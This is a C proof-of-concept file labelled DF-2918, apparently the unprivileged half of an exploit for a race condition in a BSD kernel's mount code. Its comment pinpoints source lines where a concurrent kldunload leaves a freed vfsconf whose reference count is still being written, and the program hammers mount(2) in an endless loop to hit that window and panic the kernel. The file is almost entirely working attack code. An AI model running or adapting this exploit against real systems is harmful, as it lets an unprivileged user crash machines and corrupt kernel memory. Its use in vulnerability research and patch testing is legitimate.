DF-2918 / mountloop.c
/* * DF-2918 PoC - unprivileged side. * * Hammer mount(2) on a mountpoint we own for a modular filesystem type * (ext2fs). NOTE: the mounts do not need to succeed - the vulnerable * window is between sys_mount()'s vfsconf_find_by_name() * (vfs_syscalls.c:313) and vfsp->vfc_refcount++ (:359), both of which * execute BEFORE VFS_MOUNT() is called. Each failed mount attempt still * crosses the window. * * If a concurrent kldunload of ext2fs unregisters+unloads the vfsconf * underneath us (vfs_init.c:464-479 checks vfc_refcount unsynchronized), * this thread's vfc_refcount++ writes into freed module address space * -> kernel panic (and mp->mnt_op would dangle into freed vfsops). * * usage: mountloop <dir> <fstype> (run as unprivileged user, dir owned * by user, vfs.usermount=1) */ #include <sys/param.h> #include <sys/mount.h> #include <unistd.h> #include <stdio.h> #include <string.h> #include <errno.h> int main(int argc, char **argv) { const char *dir, *fstype; long i, ok = 0, fail = 0; if (argc != 3) { fprintf(stderr, "usage: %s <dir> <fstype>\n", argv[0]); return (1); } dir = argv[1]; fstype = argv[2]; for (i = 0;;i++) { int e = mount(fstype, dir, 0, NULL); if (e == 0) { ok++; if (unmount(dir, 0) < 0) perror("unmount"); } else { fail++; } if ((i % 200000) == 0) { printf("pid=%d iter=%ld ok=%ld fail=%ld\n", getpid(), i, ok, fail); fflush(stdout); } } /* NOTREACHED */ return (0); } |